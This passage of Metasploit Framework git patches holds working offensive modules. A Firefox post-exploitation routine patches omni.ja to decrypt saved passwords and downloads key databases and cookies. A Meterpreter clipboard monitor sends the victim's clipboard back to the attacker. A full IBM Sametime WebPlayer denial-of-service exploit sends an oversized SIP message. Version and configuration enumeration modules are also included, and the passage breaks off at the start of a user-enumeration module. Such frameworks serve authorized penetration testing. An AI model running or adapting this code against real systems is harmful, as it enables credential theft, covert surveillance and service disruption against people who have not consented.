[/getAllLogins\s:\sfunction\s\(count\)\s{/, nil], + [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports] + ] + + # match three regular expressions + i = 3 + stor_js['content'].each_line do |line| + # there is no real substitution if the matching regex + # has no corresponding patch code + if i != 0 and line.sub!(regex[i][0]) do |match| + if not regex[i][1].nil? + regex[i][1] + else + line + end + end + i -= 1 + end + + data << line + + end + + # write the same data to both output streams + stor_js['outs'].write(data) + stor_js['outs_res'].write(data) + stor_js['outs'].close + stor_js['outs_res'].close + + i == 0 ? 'return true' : 'return false' + + end + + # Starts a new firefox process and triggers decryption + def trigger_decrypt(org_file, new_file) + temp_file = "orgomni.ja" + [org_file, new_file, temp_file].each do |f| + f.insert(0, @paths['ff']) + end + # firefox command line arguments + args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul' + + # In case of unix-like platform Firefox needs to start under user + # context + if @platform =~ /unix/ + + # assuming userdir /home/(x) = user + print_status("Enumerating users...") + users = cmd_exec("ls /home") + if users.nil? or users.empty? + print_error("No normal user found") + return false + end + user = users.split()[0] + # Since we can't access the display environment variable + # we have to assume the default value + args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") + args << "\"" + cmd = "su #{user} -c" + + elsif @platform =~ /win|osx/ + + cmd = @paths['ff'] + "firefox" + # on osx, run in background + args << "& sleep 5 && killall firefox" if @platform =~ /osx/ + end + + # check if firefox is running and kill it + if session.type == "meterpreter" + session.sys.process.each_process do |p| + if p['name'] =~ /firefox\.exe/ + print_status("Found running Firefox process, attempting to kill.") + if not session.sys.process.kill(p['pid']) + print_error("Could not kill Firefox process") + return false + end + end + end + + elsif session.type != "meterpreter" + p = cmd_exec("ps", "cax | grep firefox") + if p =~ /firefox/ + print_status("Found running Firefox process, attempting to kill.") + term = cmd_exec("killall", "firefox && echo true") + if not term =~ /true/ + print_error("Could not kill Firefox process") + return false + end + end + end + # + # rename-fu + # omni.ja -> orgomni.ja + # *random*.ja -> omni.ja + # omni.ja -> *random*.ja + # orgomni.ja -> omni.ja + # + rename_file(org_file, temp_file) + rename_file(new_file, org_file) + + # automatic termination ( window.close() or arguments) + print_status("Starting Firefox process") + cmd_exec(cmd,args) + + rename_file(org_file, new_file) + rename_file(temp_file, org_file) + + # clean up + file_rm(new_file) + + # at this time it should have a loot file + if !file?(@paths['loot']) + print_error("Decryption failed, there's probably a master password in use") + return false + end + + return true + + end + + def download_loot(paths) + loot = "" + paths.each do |path| + print_status(path) + profile = path.scan(/Profiles[\\|\/](.+)$/).flatten[0].to_s + if session.type == "meterpreter" + session.fs.dir.foreach(path) do |file| + if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ + print_good("Downloading #{file} file from: #{path}") + file = path + "\\" + file + fd = session.fs.file.new(file) + begin + until fd.eof? + data = fd.read + loot << data if not data.nil? + end + rescue EOFError + ensure + fd.close + end + + ext = file.split('.')[2] + if ext == "txt" + mime = "plain" + else + mime = "binary" + end + file = file.split('\\').last + store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + end + end + end + if session.type != "meterpreter" + files = session.shell_command("ls #{path}").gsub(/\s/, "\n") + files.each_line do |file| + file.chomp! + if file =~ /key\d\.db/ or file =~ /signons/i or file =~ /cookies\.sqlite/ + print_good("Downloading #{file}\\") + data = session.shell_command("cat #{path}#{file}") + ext = file.split('.')[2] + if ext == "txt" + mime = "plain" + else + mime = "binary" + end + file = file.split('/').last + store_loot("ff.profile.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + end + end + end + end + end + + def download_creds + print_good("Downloading loot: #{@paths['loot']}") + loot = read_file(@paths['loot']) + + if loot =~ /no creds/ + print_status("No Firefox credentials where found") + return + end + + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Firefox credentials', + 'Indent' => 1, + 'Columns'=> + [ + 'Hostname', + 'User', + 'Password' + ] + ) + + creds = loot.split("^") + creds.each do |cred| + hostname, user, pass = cred.rstrip.split(" :: ") + cred_table << [hostname, user, pass] + end + + print_line("\n" + cred_table.to_s) + + path = store_loot( + "firefox.creds", + "text/plain", + session, + cred_table.to_csv, + "firefox_credentials.txt", + "Firefox Credentials") + + # better delete the remote creds file + file_rm(@paths['loot']) + + end + + def got_root? + case @platform + when :windows + if session.sys.config.getuid =~ /SYSTEM/ + return true + else + return false + end + else # unix, bsd, linux, osx + ret = whoami + if ret =~ /root/ + return true + else + return false + end + end + end + + def whoami + if @platform == :windows + return session.fs.file.expand_path("%USERNAME%") + else + return session.shell_command("whoami").chomp + end + end end From 4d1c3c1f0115f70c798d2029381d135f9a540fb8 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 21 Nov 2013 06:29:37 +1000 Subject: [PATCH 005/246] Start clipboard monitor functionality Added the basics of the clipboard monitor functionality with usage messages and stuff like that. Lots more to do. --- .../extensions/extapi/clipboard/clipboard.rb | 24 ++++++ .../post/meterpreter/extensions/extapi/tlv.rb | 4 + .../command_dispatcher/extapi/clipboard.rb | 81 ++++++++++++++++++- 3 files changed, 105 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index baa30d2989..2c44ea21b4 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -81,6 +81,30 @@ class Clipboard return true end + def monitor_start(opts) + # TODO: add some smarts, a separate thread, etc to download the content + request = Packet.create_request('extapi_clipboard_monitor_start') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images]) + return client.send_request(request) + end + + def monitor_pause + request = Packet.create_request('extapi_clipboard_monitor_pause') + return client.send_request(request) + end + + def monitor_resume + request = Packet.create_request('extapi_clipboard_monitor_resume') + return client.send_request(request) + end + + def monitor_stop + request = Packet.create_request('extapi_clipboard_monitor_stop') + return client.send_request(request) + end + attr_accessor :client end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 5c47c4905e..75c39cf830 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -40,6 +40,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) +TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49) +TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) + end end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 8472e114fc..305a74e3e8 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -5,7 +5,6 @@ module Rex module Post module Meterpreter module Ui - ### # # Extended API window management user interface. @@ -23,7 +22,8 @@ class Console::CommandDispatcher::Extapi::Clipboard def commands { "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard" + "clipboard_set_text" => "Write text to the victim's clipboard", + "clipboard_monitor" => "Interact with the clipboard monitor" } end @@ -143,7 +143,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def clipboard_set_text_usage() + def print_clipboard_set_text_usage() print( "\nUsage: clipboard_set_text [-h] \n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -158,7 +158,7 @@ class Console::CommandDispatcher::Extapi::Clipboard @@set_text_opts.parse(args) { |opt, idx, val| case opt when "-h" - clipboard_set_text_usage + print_clipboard_set_text_usage return true end } @@ -166,6 +166,79 @@ class Console::CommandDispatcher::Extapi::Clipboard return client.extapi.clipboard.set_text(args.join(" ")) end + # + # Options for the clipboard_get_data command. + # + @@monitor_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ false, "Automatically download image content" ], + "-f" => [ false, "Automatically download files" ], + "-l" => [ true, "Specifies the folder to write the clipboard loot to" ] + ) + + def print_clipboard_monitor_usage() + print( + "\nUsage: clipboard_monitor [-f] [-i] [-h]\n\n" + + "Starts or stops a background clipboard monitoring thread. The thread watches\n" + + "the clipboard on the target, under the context of the current desktop, and when\n" + + "changes are detected the contents of the clipboard are returned to the attacker.\n\n" + + " - start - starts the clipboard monitor with the given arguments if\n" + + " the thread is not already running.\n" + + " - pause - pauses a currently running clipboard monitor thread.\n" + + " - resume - resumes a currently paused clipboard monitor thread.\n" + + " - stop - stops a currently running or paused clipboard monitor thread.\n" + + @@monitor_opts.usage + "\n") + end + + def cmd_clipboard_monitor(*args) + args.unshift "-h" if args.length == 0 + download_files = false + download_images = false + loot_dir = nil + + @@set_text_opts.parse(args) { |opt, idx, val| + case opt + when "-f" + download_files = true + when "-i" + download_images = true + when "-l" + loot_dir = val + when "-h" + print_clipboard_monitor_usage + return true + end + } + + case args.shift + when "start" + loot_dir = generate_loot_dir(true) unless loot_dir + print_status("Clipboard monitor looting to #{loot_dir} ...") + print_status("Download files? #{download_files ? "Yes" : "No"}") + print_status("Download images? #{download_images ? "Yes" : "No"}") + + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :loot => loot_dir, + :files => download_files, + :iamges => download_images + }) + print_good("Clipboard monitor started") + when "pause" + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused") + when "resume" + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed") + when "stop" + client.extapi.clipboard.monitor_stop + print_good("Clipboard monitor stopped") + end + + end + protected # TODO: get help from the MSF masters, because I have no From 3814e3edefc50b75b81fb7097227e44938545efe Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Thu, 26 Dec 2013 12:58:51 +0100 Subject: [PATCH 006/246] Create ibm_sametime_webplayer_dos.rb init --- .../multi/misc/ibm_sametime_webplayer_dos.rb | 210 ++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb diff --git a/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb new file mode 100644 index 0000000000..aed629576d --- /dev/null +++ b/modules/exploits/multi/misc/ibm_sametime_webplayer_dos.rb @@ -0,0 +1,210 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + + RHOST Target should be the Sametime Media Server address and NOT the + web interface SIPURI should be in the format + @ (e.g. + targetuser%40targetdomain.com@stmedia.targetdomain.com + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS'], + ['CHECK'] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] + + ], + 'DisclosureDate' => 'Nov 07 2013')) + + register_options( + [ + Opt::RPORT(5060), + OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted', \ + '@']), + OptBool.new('CHECKUSER', [ true, 'Validate user is logged into Sametime', true]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0,4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4,@sipuri.length] + end + if @sipuri[0,12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12,@sipuri.length] + end + + end + + def checkuser + # used to check the user is logged into Sametime and after DoS to check success + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + + print_status("Checking if targeted user #{@sipuri} is online") + res = send_msg(msg) + + # check response for current user status - common return codes + if not res or res.nil? + print_error("No response recevied from server") + return false + elsif res =~ /430 Flow Failed/i + print_good("User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + print_error("User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + print_good("User #{@sipuri} is online") + return true + else + print_error("Unknown server response") + return false + end + + end + + def run + + # inform user of action currently selected + print_status("Action: #{action.name} selected") + + if datastore['CHECKUSER'] or action.name == 'CHECK' + # check the user is online without DOS + response = checkuser + else + print_status("User check disabled, continuing with DoS against #{@sipuri}") + response = true # no check performed + end + + unless action.name == 'CHECK' # only proceed if action not set to CHECK + if response + # checkuser explicitly disabled or user is online + + print_status("Targeting user: #{@sipuri}") + print_status("Sending DoS packet to #{rhost}:#{rport}") + + length = 12000 # enough to overflow the end of allocated memory + msg = create_message(length) + res = send_msg(msg) + + if not res or res.nil? + if datastore['CHECKUSER'] # check user AFTER DoS + print_good("User #{@sipuri} is no longer responding") + else + print_good("No response from server. User is offline or server doesn't respond") + end + elsif res =~ /430 Flow Failed/i + print_good("DoS packet successful. Response received (430 Flow Failed)") + print_good("User #{@sipuri} is no longer responding") + elsif res =~ /404 Not Found/i + print_error("DoS packet appears successful. Response received (404 Not Found)") + print_status("User appears to be currently offline or not in a Sametime video session") + elsif res =~ /200 OK/i + print_error("DoS packet unsuccessful. Response received (200)") + print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer") + end + else + print_error("Check failed, ensure user is online") + end + end + end + + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("Creating SIP MESSAGE packet #{length} bytes long") + + suser = Rex::Text.rand_text_alphanumeric(rand(8)+1) + shost = Rex::Socket.source_address(datastore['RHOST']) + src = "#{shost}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) + + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text + + return data + end + + def timing_get_once(s, length) + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) + end + end + + def send_msg(msg) + + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("Unable to connect to #{rhost}:#{rport}") + rescue ::Errno::ECONNRESET + print_status("DoS packet successful. #{rhost} not responding.") + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + ensure + # disconnect socket if still open + disconnect if s + end + end +end From 2d6f41d67fb9456252716eab63c91332b1f1f5d4 Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Thu, 26 Dec 2013 13:00:39 +0100 Subject: [PATCH 007/246] Create ibm_sametime_version.rb init --- .../auxiliary/gather/ibm_sametime_version.rb | 398 ++++++++++++++++++ 1 file changed, 398 insertions(+) create mode 100644 modules/auxiliary/gather/ibm_sametime_version.rb diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb new file mode 100644 index 0000000000..3a62f23579 --- /dev/null +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -0,0 +1,398 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'uri' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'IBM Lotus Sametime Version Enumeration', + 'Description' => %q{ + This module scans an IBM Lotus Sametime web interface to enumerate + the version and configuration information. + }, + 'Author' => + [ + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE + ) + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), + OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]), + OptBool.new('ShowVersions', [ true, "Display Version information from server", true]), + OptBool.new('ShowConfig', [ true, "Display Config information from server", true]), + OptBool.new('ShowAPIVersions', [ true, "Display API Version information from server", false]) + ], self.class) + + register_advanced_options( + [ + OptBool.new('StoreConfigs', [ true, "Store JSON configs to loot", true]) + ], self.class) + + end + + def peer + return "#{rhost}:#{rport}" + end + + def check_url(tpath, url, stproxy_rhost='') + + begin + if not stproxy_rhost.empty? + checked_host = stproxy_rhost + # make request with provided stproxy rhost + vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") + res = send_request_cgi({ + 'uri' => normalize_uri(tpath, url), + 'method' => 'GET', + 'rhost' => stproxy_rhost, # connect to Sametime Proxy + 'vhost' => stproxy_rhost # set appropriate VHOST + }) + else + checked_host = datastore['RHOST'] + vprint_status("Requesting \"#{checked_host}:#{rport}#{normalize_uri(tpath, url)}\"") + res = send_request_cgi({ + 'uri' => normalize_uri(tpath, url), + 'method' => 'GET' + }) + + end + + if not res + print_status("#{checked_host}:#{rport} - Did not respond") + return + elsif res.code == 403 + print_status("#{checked_host}:#{rport} - Access Denied #{res.code} #{res.message}") + return + elsif not res.code == 200 + print_error("#{checked_host}:#{rport} - Unexpected Response code (#{res.code}) received from server") + return + end + + if url.include?('WebAVServlet') + # special handler for WebAVServlet as body is JSON regardless of content-type + + res_json = JSON.parse(res.body) + extract_webavservlet_data(res_json) + + elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") + + res.body.each_line do | response_line | + extract_response_data(response_line, url) + end + + elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") + + res_json = JSON.parse(res.body) + + # store configuration files as loot + store_config(tpath, url, res_json, checked_host) if datastore['StoreConfigs'] + + extract_json_data(res_json) + + end + + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + print_error("#{checked_host}:#{rport} - Unable to Connect") + return + rescue ::Timeout::Error, ::Errno::EPIPE + print_error("#{checked_host}:#{rport} - Timeout error") + return + end + end + + def extract_webavservlet_data(res_json) + # extract data from WebAVServlet + + # stwebav/WebAVServlet --> WebPlayer information + if res_json['Softphone'] + @version_info['version']['Softphone'] = res_json['Softphone'] + end + if res_json['WebPlayer'] + @version_info['version']['WebPlayer'] = res_json['WebPlayer'] + end + + end + + def extract_response_data(response_line, url) + # extract data from response + + case response_line + # stmeetings/about.jsp --> Sametime Server version string + when /lotusBuild">Release (.+?)<\/td>/i + # lotus build version + @version_info['version']['sametimeVersion'] = $1.chomp + # serverversion.properties --> API Version information + when /^meeting=(.*)$/i + # meeting api version + @version_info['api']['meeting'] = $1.chomp + when /^appshare=(.*)$/i + # appshare api version + @version_info['api']['appshare'] = $1.chomp + when /^docshare=(.*)$/i + # docshare api version + @version_info['api']['docshare'] = $1.chomp + when /^rtc4web=(.*)$/i + # rtc4web api version + @version_info['api']['rtc4web'] = $1.chomp + when /^roomapi=(.*)$/i + # room api version + @version_info['api']['roomapi'] = $1.chomp + when /^recordings=(.*)$/i + # recording api version + @version_info['api']['recordings'] = $1.chomp + when /^audio=(.*)$/i + # audio api version + @version_info['api']['audio'] = $1.chomp + when /^video=(.*)$/i + # video api version + @version_info['api']['video'] = $1.chomp + # rtc/buildinfo.txt --> Server Build version + when /^(\d{8}-\d+)$/ + if url.include?('buildinfo.txt') + # buildinfo version + @version_info['version']['buildinfo'] = $1.chomp + end + # stwebclient/i18nStrings.jsp --> Sametime Server version string + when /aboutBoxProductTitle":"(.*?)",/i + if not @version_info['version']['sametimeVersion'] + # sametime version + @version_info['version']['sametimeVersion'] = $1.chomp + end + end + end + + + def extract_json_data(res_json) + # extract data from JSON response + + # stwebclient/communityserver --> Community server address + if res_json['communityRef'] + @version_info['conf']['communityRef'] = res_json['communityRef'] + end + if res_json['anonymousEnabled'] + @version_info['conf']['communityref_anonymousEnabled'] = res_json['anonymousEnabled'] + # stmeetings/configuration --> Sametime configuration + end + if res_json['calinteg.enabled'] + @version_info['conf']['calinteg.enabled'] = res_json['calinteg.enabled'] + end + if res_json['docshare.fileio.codebase'] + @version_info['conf']['docshare.fileio.codebase'] = res_json['docshare.fileio.codebase'] + end + if res_json['docshare.native.codebase'] + @version_info['conf']['docshare.native.codebase'] = res_json['docshare.native.codebase'] + end + if res_json['docshare.remote.url'] + @version_info['conf']['docshare.remote.url'] = res_json['docshare.remote.url'] + end + if res_json['meetingroom.allowGuestAccess'] + if res_json['meetingroom.allowGuestAccess'] == "1" + @version_info['conf']['meetingroom.allowGuestAccess'] = "true" + else + @version_info['conf']['meetingroom.allowGuestAccess'] = "false" + end + end + if res_json['meetingroomcenter.allowGuestAccess'] + if res_json['meetingroomcenter.allowGuestAccess'] == "1" + @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "true" + else + @version_info['conf']['meetingroomcenter.allowGuestAccess'] = "false" + end + end + if res_json['meetingroomcenter.customLoginPage'] + @version_info['conf']['meetingroomcenter.customLoginPage'] = res_json['meetingroomcenter.customLoginPage'] + end + if res_json['meetingroomcenter.enforceCSRFToken'] + @version_info['conf']['meetingroomcenter.enforceCSRFToken'] = res_json['meetingroomcenter.enforceCSRFToken'] + end + if res_json['meetingroomcenter.enforceHiddenRooms'] + @version_info['conf']['meetingroomcenter.enforceHiddenRooms'] = res_json['meetingroomcenter.enforceHiddenRooms'] + end + if res_json['meetingroomcenter.passwords'] + @version_info['conf']['meetingroomcenter.passwords'] = res_json['meetingroomcenter.passwords'] + end + if res_json['meetingserver.statistics.jmx.enabled'] + @version_info['conf']['meetingserver.statistics.jmx.enabled'] = res_json['meetingserver.statistics.jmx.enabled'] + end + if res_json['rtc4web.enforceNonce'] + @version_info['conf']['rtc4web.enforceNonce'] = res_json['rtc4web.enforceNonce'] + end + if res_json['userInfoRedirect'] + @version_info['conf']['userInfoRedirect'] = res_json['userInfoRedirect'] + end + if res_json['userInfoUrlTemplate'] + @version_info['conf']['userInfoUrlTemplatee'] = res_json['userInfoUrlTemplate'] + end + if res_json['meetingroomcenter.stProxyAddress'] + @version_info['conf']['meetingroomcenter.stProxyAddress'] = res_json['meetingroomcenter.stProxyAddress'] + end + if res_json['meetingroomcenter.stProxySSLAddress'] + @version_info['conf']['meetingroomcenter.stProxySSLAddress'] = res_json['meetingroomcenter.stProxySSLAddress'] + end + # stwebclient/communityserver --> Sametime Community server name + if res_json['communityRef'] + @version_info['conf']['communityRef'] = res_json['communityRef'] + @version_info['conf']['anonymousEnabled'] = res_json['anonymousEnabled'] + end + + end + + def report + + if @version_info['version']['sametimeVersion'] + print_line() + print_good("#{@version_info['version']['sametimeVersion']} Detected (#{peer})") + else + print_line() + print_status("#{peer} - IBM Lotus Sametime information") + end + + # configure tables + version_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [Version]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "Component", + "Version" + ]) + + conf_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [Config]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "Key", + "Value" + ]) + + api_tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "IBM Lotus Sametime Information [API]", + 'Prefix' => "", + 'Indent' => 1, + 'Columns' => + [ + "API", + "Version" + ]) + + # populate tables + @version_info['version'].each do | line | + version_tbl << [ line[0], line[1] ] + end + + @version_info['conf'].each do | line | + conf_tbl << [ line[0], line[1] ] + end + + @version_info['api'].each do | line | + api_tbl << [ line[0], line[1] ] + end + + # display tables + print_good("#{version_tbl.to_s}") if not version_tbl.to_s.empty? and datastore['ShowVersions'] + print_good("#{api_tbl.to_s}") if not api_tbl.to_s.empty? and datastore['ShowAPIVersions'] + print_good("#{conf_tbl.to_s}") if not conf_tbl.to_s.empty? and datastore['ShowConfig'] + + # report_note + if @version_info['version']['sametimeVersion'] + report_note( + :host => datastore['rhost'], + :port => datastore['rport'], + :proto => 'http', + :ntype => 'ibm_lotus_sametime_version', + :data => @version_info['version']['sametimeVersion'] + ) + end + end + + def store_config(tpath, url, config_to_store, checked_host) + # store configuration as loot + + if not config_to_store.empty? + loot = store_loot( + "ibm_lotus_sametime_configuration_" + url, + "text/json", + datastore['rhost'], + config_to_store, + ".json" + ) + + print_good("#{checked_host} - IBM Lotus Sametime Configuration data stored as loot") + print_status("#{checked_host}#{normalize_uri(tpath, url)}\n => #{loot}") + end + end + + def run + + # create storage for extracted information+ + @version_info = {} + @version_info['version'] = {} + @version_info['conf'] = {} + @version_info['api'] = {} + + tpath = normalize_uri(target_uri.path) + + sametime_urls = [ + '/stmeetings/about.jsp', + '/stmeetings/serverversion.properties', + '/rtc/buildinfo.txt', + '/stmeetings/configuration?format=json&verbose=true' + ] + + sametime_proxy_urls = [ + '/stwebclient/i18nStrings.jsp', + '/stwebclient/communityserver', + '/stwebav/WebAVServlet?Name=WebPlayerVersion' + ] + + print_status("#{peer} - Checking IBM Lotus Sametime Server") + sametime_urls.each do | url | + check_url(tpath, url) + end + + if @version_info['conf']['meetingroomcenter.stProxyAddress'] or @version_info['conf']['meetingroomcenter.stProxySSLAddress'] + # check Sametime proxy if configured to do so + if datastore['QuerySametimeProxy'] + + if @version_info['conf']['meetingroomcenter.stProxySSLAddress'] and datastore['SSL'] + # keep using SSL + stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxySSLAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") + else + stproxy_rhost = URI(@version_info['conf']['meetingroomcenter.stProxyAddress']).host + vprint_status("Testing discovered Sametime proxy address for further data #{stproxy_rhost}") + end + + print_good("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}") + + sametime_proxy_urls.each do | url | + check_url(tpath, url, stproxy_rhost) + end + + else + print_status("#{peer} - Sametime Proxy address discovered #{stproxy_rhost}, but checks disabled") + end + end + + report unless @version_info.empty? + + end + +end From 7ba19504243f2fa498ff3c4cc65e967fa458b256 Mon Sep 17 00:00:00 2001 From: kicks4kittens Date: Thu, 26 Dec 2013 13:01:48 +0100 Subject: [PATCH 008/246] Create ibm_sametime_enumerate_users.rb init --- .../gather/ibm_sametime_enumerate_users.rb | 345 ++++++++++++++++++ 1 file changed, 345 insertions(+) create mode 100644 modules/auxiliary/gather/ibm_sametime_enumerate_users.rb diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb new file mode 100644 index 0000000000..7df51eadf8 --- /dev/null +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -0,0 +1,345 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'enumerable' + +class Metasploit3 < Msf::Auxiliary + + include 